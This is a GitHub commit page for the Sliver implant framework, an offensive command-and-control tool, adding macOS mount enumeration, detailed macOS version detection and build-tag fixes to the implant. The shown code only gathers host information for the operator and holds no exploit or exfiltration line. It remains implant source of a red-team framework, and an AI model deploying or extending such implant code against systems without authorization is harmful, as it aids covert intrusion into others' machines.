Skip to content

Commit b77ade2

Browse files
authored
Merge pull request #2148 from BishopFox/fix/info
Fix/info
2 parents e2e1912 + 41dc54d commit b77ade2

7 files changed

Lines changed: 440 additions & 8 deletions

File tree

implant/sliver/handlers/handlers_darwin.go

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ import (
2525
"syscall"
2626

2727
"github.com/bishopfox/sliver/implant/sliver/extension"
28+
"github.com/bishopfox/sliver/implant/sliver/mount"
2829
"github.com/bishopfox/sliver/protobuf/commonpb"
2930
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
3031
"google.golang.org/protobuf/proto"
@@ -56,6 +57,7 @@ var (
5657
pb.MsgNetstatReq: netstatHandler,
5758

5859
pb.MsgSideloadReq: sideloadHandler,
60+
pb.MsgMountReq: mountHandler,
5961

6062
pb.MsgReconfigureReq: reconfigureHandler,
6163
pb.MsgSSHCommandReq: runSSHCommandHandler,
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
154156
resp(data, err)
155157
}
156158

159+
func mountHandler(data []byte, resp RPCResponse) {
160+
mountReq := &pb.MountReq{}
161+
err := proto.Unmarshal(data, mountReq)
162+
if err != nil {
163+
return
164+
}
165+
166+
mountData, err := mount.GetMountInformation()
167+
mountResp := &pb.Mount{
168+
Info: mountData,
169+
Response: &commonpb.Response{},
170+
}
171+
172+
if err != nil {
173+
mountResp.Response.Err = err.Error()
174+
}
175+
176+
data, err = proto.Marshal(mountResp)
177+
resp(data, err)
178+
}
179+
157180
func getUid(fileInfo os.FileInfo) string {
158181
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
159182
uid_str := strconv.FormatUint(uint64(uid), 10)
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
//go:build darwin
2+
3+
package mount
4+
5+
/*
6+
Sliver Implant Framework
7+
Copyright (C) 2023 Bishop Fox
8+
9+
This program is free software: you can redistribute it and/or modify
10+
it under the terms of the GNU General Public License as published by
11+
the Free Software Foundation, either version 3 of the License, or
12+
(at your option) any later version.
13+
14+
This program is distributed in the hope that it will be useful,
15+
but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
GNU General Public License for more details.
18+
19+
You should have received a copy of the GNU General Public License
20+
along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
*/
22+
23+
import (
24+
"strings"
25+
26+
"github.com/bishopfox/sliver/protobuf/sliverpb"
27+
"golang.org/x/sys/unix"
28+
)
29+
30+
func getString(input []byte) string {
31+
ver := string(input)
32+
if i := strings.Index(ver, "\x00"); i != -1 {
33+
ver = ver[:i]
34+
}
35+
return ver
36+
}
37+
38+
func formatMountFlags(flags uint32) string {
39+
opts := make([]string, 0, 12)
40+
41+
if flags&unix.MNT_RDONLY != 0 {
42+
opts = append(opts, "ro")
43+
} else {
44+
opts = append(opts, "rw")
45+
}
46+
if flags&unix.MNT_NOSUID != 0 {
47+
opts = append(opts, "nosuid")
48+
}
49+
if flags&unix.MNT_NODEV != 0 {
50+
opts = append(opts, "nodev")
51+
}
52+
if flags&unix.MNT_NOEXEC != 0 {
53+
opts = append(opts, "noexec")
54+
}
55+
if flags&unix.MNT_SYNCHRONOUS != 0 {
56+
opts = append(opts, "sync")
57+
}
58+
if flags&unix.MNT_ASYNC != 0 {
59+
opts = append(opts, "async")
60+
}
61+
if flags&unix.MNT_NOATIME != 0 {
62+
opts = append(opts, "noatime")
63+
}
64+
if flags&unix.MNT_JOURNALED != 0 {
65+
opts = append(opts, "journaled")
66+
}
67+
if flags&unix.MNT_QUOTA != 0 {
68+
opts = append(opts, "quota")
69+
}
70+
if flags&unix.MNT_UNION != 0 {
71+
opts = append(opts, "union")
72+
}
73+
if flags&unix.MNT_AUTOMOUNTED != 0 {
74+
opts = append(opts, "automounted")
75+
}
76+
if flags&unix.MNT_REMOVABLE != 0 {
77+
opts = append(opts, "removable")
78+
}
79+
if flags&unix.MNT_DONTBROWSE != 0 {
80+
opts = append(opts, "nobrowse")
81+
}
82+
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
83+
opts = append(opts, "ignore-ownership")
84+
}
85+
if flags&unix.MNT_LOCAL != 0 {
86+
opts = append(opts, "local")
87+
}
88+
if flags&unix.MNT_ROOTFS != 0 {
89+
opts = append(opts, "rootfs")
90+
}
91+
if flags&unix.MNT_SNAPSHOT != 0 {
92+
opts = append(opts, "snapshot")
93+
}
94+
if flags&unix.MNT_CPROTECT != 0 {
95+
opts = append(opts, "cprotect")
96+
}
97+
if flags&unix.MNT_NOUSERXATTR != 0 {
98+
opts = append(opts, "nouserxattr")
99+
}
100+
if flags&unix.MNT_QUARANTINE != 0 {
101+
opts = append(opts, "quarantine")
102+
}
103+
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
104+
opts = append(opts, "unknown-permissions")
105+
}
106+
if flags&unix.MNT_DEFWRITE != 0 {
107+
opts = append(opts, "defwrite")
108+
}
109+
if flags&unix.MNT_DOVOLFS != 0 {
110+
opts = append(opts, "volfs")
111+
}
112+
if flags&unix.MNT_NOBLOCK != 0 {
113+
opts = append(opts, "noblock")
114+
}
115+
if flags&unix.MNT_RELOAD != 0 {
116+
opts = append(opts, "reload")
117+
}
118+
if flags&unix.MNT_UPDATE != 0 {
119+
opts = append(opts, "update")
120+
}
121+
if flags&unix.MNT_EXPORTED != 0 {
122+
opts = append(opts, "exported")
123+
}
124+
if flags&unix.MNT_MULTILABEL != 0 {
125+
opts = append(opts, "multilabel")
126+
}
127+
if flags&unix.MNT_STRICTATIME != 0 {
128+
opts = append(opts, "strictatime")
129+
}
130+
if flags&unix.MNT_FORCE != 0 {
131+
opts = append(opts, "force")
132+
}
133+
134+
return strings.Join(opts, ",")
135+
}
136+
137+
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
138+
mountInfo := make([]*sliverpb.MountInfo, 0)
139+
140+
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
141+
if err != nil || count == 0 {
142+
return mountInfo, err
143+
}
144+
145+
stats := make([]unix.Statfs_t, count)
146+
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
147+
if err != nil {
148+
return mountInfo, err
149+
}
150+
151+
stats = stats[:count]
152+
for _, stat := range stats {
153+
var mountData sliverpb.MountInfo
154+
mountData.VolumeName = getString(stat.Mntfromname[:])
155+
mountData.MountPoint = getString(stat.Mntonname[:])
156+
mountData.Label = "/"
157+
mountData.VolumeType = getString(stat.Fstypename[:])
158+
mountData.MountOptions = formatMountFlags(stat.Flags)
159+
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
160+
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
161+
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
162+
mountInfo = append(mountInfo, &mountData)
163+
}
164+
165+
return mountInfo, nil
166+
}

implant/sliver/mount/mount_linux.go

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,25 @@
1-
// +linux
1+
//go:build linux
22

33
package mount
44

5+
/*
6+
Sliver Implant Framework
7+
Copyright (C) 2023 Bishop Fox
8+
9+
This program is free software: you can redistribute it and/or modify
10+
it under the terms of the GNU General Public License as published by
11+
the Free Software Foundation, either version 3 of the License, or
12+
(at your option) any later version.
13+
14+
This program is distributed in the hope that it will be useful,
15+
but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
GNU General Public License for more details.
18+
19+
You should have received a copy of the GNU General Public License
20+
along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
*/
22+
523
import (
624
"bufio"
725
"os"

implant/sliver/mount/mount_windows.go

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
//go:build windows
2-
// +build windows
2+
3+
package mount
34

45
/*
56
Sliver Implant Framework
@@ -19,8 +20,6 @@
1920
along with this program. If not, see <https://www.gnu.org/licenses/>.
2021
*/
2122

22-
package mount
23-
2423
import (
2524
"errors"
2625
"fmt"

implant/sliver/procdump/dump_darwin.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
// +darwin
1+
//go:build darwin
22

33
package procdump
44

implant/sliver/version/version_darwin.go

Lines changed: 124 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,129 @@ package version
1818
along with this program. If not, see <https://www.gnu.org/licenses/>.
1919
*/
2020

21-
func GetVersion() string {
21+
import (
22+
"encoding/xml"
23+
"errors"
24+
"fmt"
25+
//{{if .Config.Debug}}
26+
"log"
27+
//{{end}}
28+
"os"
29+
"strings"
30+
31+
"golang.org/x/sys/unix"
32+
)
33+
34+
type plist struct {
35+
XMLName xml.Name `xml:"plist"`
36+
Dict dict `xml:"dict"`
37+
}
38+
39+
type dict struct {
40+
Key []string `xml:"key"`
41+
String []string `xml:"string"`
42+
}
43+
44+
func getString(input []byte) string {
45+
ver := string(input)
46+
if i := strings.Index(ver, "\x00"); i != -1 {
47+
ver = ver[:i]
48+
}
49+
return ver
50+
}
51+
52+
func readOSRelease() string {
53+
paths := []string{
54+
"/System/Library/CoreServices/SystemVersion.plist",
55+
"/System/Library/CoreServices/ServerVersion.plist",
56+
}
57+
for _, path := range paths {
58+
file, err := os.Open(path)
59+
if err != nil {
60+
continue
61+
}
62+
properties, err := parsePlistFile(file)
63+
_ = file.Close()
64+
if err != nil {
65+
//{{if .Config.Debug}}
66+
log.Printf("error parsing %s: %v", path, err)
67+
//{{end}}
68+
continue
69+
}
70+
if osRelease := buildOSRelease(properties); osRelease != "" {
71+
return osRelease
72+
}
73+
}
2274
return ""
2375
}
76+
77+
func parsePlistFile(file *os.File) (map[string]string, error) {
78+
var v plist
79+
if err := xml.NewDecoder(file).Decode(&v); err != nil {
80+
return nil, err
81+
}
82+
if len(v.Dict.Key) != len(v.Dict.String) {
83+
return nil, errors.New("invalid plist content")
84+
}
85+
properties := make(map[string]string, len(v.Dict.Key))
86+
for i, key := range v.Dict.Key {
87+
properties[key] = v.Dict.String[i]
88+
}
89+
return properties, nil
90+
}
91+
92+
func buildOSRelease(properties map[string]string) string {
93+
productName := properties["ProductName"]
94+
productVersion := properties["ProductVersion"]
95+
productBuildVersion := properties["ProductBuildVersion"]
96+
if productName == "" || productVersion == "" || productBuildVersion == "" {
97+
return ""
98+
}
99+
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
100+
}
101+
102+
func normalizeArch(arch string) string {
103+
arch = strings.TrimSpace(arch)
104+
if arch == "" {
105+
return ""
106+
}
107+
switch strings.ToLower(arch) {
108+
case "amd64":
109+
return "x86_64"
110+
case "i386", "i486", "i586", "i686", "x86":
111+
return "x86"
112+
default:
113+
return arch
114+
}
115+
}
116+
117+
func formatDetailedVersion(osRelease, kernel, arch string) string {
118+
parts := make([]string, 0, 3)
119+
if osRelease != "" {
120+
parts = append(parts, osRelease)
121+
}
122+
if kernel != "" {
123+
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
124+
}
125+
if arch != "" {
126+
parts = append(parts, arch)
127+
}
128+
return strings.Join(parts, " ")
129+
}
130+
131+
func GetVersion() string {
132+
osRelease := readOSRelease()
133+
var uname unix.Utsname
134+
if err := unix.Uname(&uname); err != nil {
135+
//{{if .Config.Debug}}
136+
log.Printf("error getting OS version: %v", err)
137+
//{{end}}
138+
return osRelease
139+
}
140+
if osRelease == "" {
141+
osRelease = getString(uname.Sysname[:])
142+
}
143+
kernel := getString(uname.Release[:])
144+
arch := normalizeArch(getString(uname.Machine[:]))
145+
return formatDetailedVersion(osRelease, kernel, arch)
146+
}

0 commit comments

Comments
 (0)